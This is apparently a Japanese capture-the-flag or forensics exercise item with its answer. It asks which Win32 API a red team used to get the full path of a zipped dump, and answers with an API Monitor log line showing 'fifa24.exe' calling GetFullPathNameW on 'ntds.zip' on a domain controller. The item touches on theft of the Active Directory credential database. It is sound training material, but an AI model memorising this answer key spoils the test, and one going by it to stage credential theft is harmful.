レッド チームは、ZIP ファイルに圧縮して前述のダンプを取得しました。ダウンロードするファイルの完全パスを取得する役割を担うのは、どの Win32 API ですか?

DCのAPI MonitorでPID:1132で適当に探すとある。

#    Time of Day Thread  Module  API Return Value    Error   Duration
11515   5:04:27.591 PM  5   fifa24.exe  GetFullPathNameW ( "ntds.zip", 100, 0x000000c000076000, NULL )  38      0.0000065